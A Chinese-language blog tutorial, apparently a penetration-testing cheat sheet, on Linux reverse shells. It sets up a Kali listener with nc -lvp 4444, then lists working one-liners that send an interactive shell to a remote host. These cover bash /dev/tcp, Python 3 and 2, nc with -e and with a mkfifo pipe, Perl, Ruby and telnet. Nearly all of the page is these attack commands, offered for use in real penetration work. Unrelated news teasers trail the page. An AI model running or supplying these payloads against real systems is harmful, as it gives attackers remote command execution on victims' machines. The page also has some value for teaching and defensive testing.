带你了解LINUX反弹Shell的各种姿势(超详细)
创始人
2024-02-19 09:03:47
0

简介

LInux反弹Shell(Reveser Shell), 也可以称为反向Shell, 由被控制端主动向控制端发送请求建立通讯, 随后将执行命令的结果输出到控制端, 本质上是网络概念的客户端与服务端的角色反转

本篇文章介绍LINUX反弹Shell的多种姿势, 在真实的渗透环境中, 根据客户端存在哪些命令的实际情况, 来采取相应的反弹shell姿势


实验环境

操作系统IP地址
Kali Linux(服务端)192.168.47.155
Ununtu Linux(客户端)192.168.47.151

服务端监听端口

服务端kali监听端口

nc -lvp 4444

image-20221126161342759


客户端反弹shell

1.bash反弹

bash -i >& /dev/tcp/192.168.47.155/4444 0>&1
  • bash -i 表示在本地打开一个交互式BashSehll
  • /dev/tcp是Linux一个特殊设备, 打开该文件相当于建立socket连接, 读写该文件相当于在socket连接中传输数据
  • 0>&1将标准输入重定向至标准输出

bash -i >& /dev/tcp/192.168.47.155/4444表示将bash的标准输出和标准错误输出发送给远程服务器的4444端口。我们只要客户端主机输入命令, 命令执行的结果以及错误提示都会发送给远程服务器

image-20221126173912240

image-20221126173930758


2.python反弹

python3

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('123.6.44.67',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

image-20221126215634494

image-20221126215649332


python2

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.47.155",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20221126222452893

image-20221126222459319


3.nc反弹shell

nc 192.168.47.155 4444 -e /bin/bash

-e后面接的参数表示在创建连接后执行的程序

image-20221126220706747

image-20221126220642719


有些老版本的nc不支持-e参数, 可使用如下命令进行反弹

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.47.155 4444 >/tmp/f

image-20221126221325835

image-20221126221348830


4.perl反弹

依赖/bin/sh

perl -e 'use Socket;$i="192.168.47.155";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

image-20221126221711114

image-20221126222013052


不依赖/bin/sh

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.47.155:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

image-20221126222110406

image-20221126222126949


5.ruby反弹

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.47.155","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

image-20221126232240240

image-20221126232254038


6.telnet反弹

mknod backpipe p && telnet 192.168.47.155 4444 0backpipe

image-20221127001032000

image-20221127001043908

相关内容

热门资讯

口碑好的拆迁律师机构推荐,为您... 在拆迁过程中,许多人会遭遇各种复杂的法律问题,因此选择一家靠谱、诚信且口碑好的拆迁律师机构至关重要。...
菏泽市司法局召开全市法律援助工... 为深入贯彻落实《中华人民共和国法律援助法》,全面提升全市法律援助工作水平,12月16日,菏泽市司法局...
潮起东方,海派律师与产业协同发... 东方网消息:12月12日,“潮起东方十五五新机遇——海派律师与产业协同发展论坛”在上海陆家嘴隆重举行...
中美芯片政策松动之际,苏姿丰带... 苏姿丰率AMD高管团队“低调”到访联想总部,图片由知情人士提供 ,美国超威半导体公司(AMD)董事会...
政策红利叠加智能升级 辽宁口岸... “每年我都要来沈阳上3个月的课程,我爱人是俄罗斯人,240小时过境免签政策让她可以直接来这里跟我团聚...
以制度刚性强基固本 新修订的《中国共产党工作机关条例》为党的工作机关建设注入了强大动力。 坚守政治定位,要以党的创新理论...
事发长春!三名主播被起诉 三起网络主播合同纠纷在新业态案件巡回审判点“一揽子”化解 为进一步统一裁判尺度、提升审理效率,妥善化...
售后纠纷耗掉半条命?奇兵到家:... 今年3月,一个被网友称为“家电华佗”的家电维修师傅在短视频平台走红,其精湛技艺与朴实诚信收获了数百万...
姆巴佩劳资纠纷案胜诉 巴黎圣日... 中新网巴黎12月17日电 (孙羽婷)法国著名足球运动员姆巴佩与其前雇主巴黎圣日耳曼俱乐部劳资纠纷案于...
成功捐献非血缘造血干细胞纳入见... 齐鲁晚报·齐鲁壹点 李自强 刁明杰 12月16日,青岛召开发布会发布《青岛市红十字会条例》(以下称《...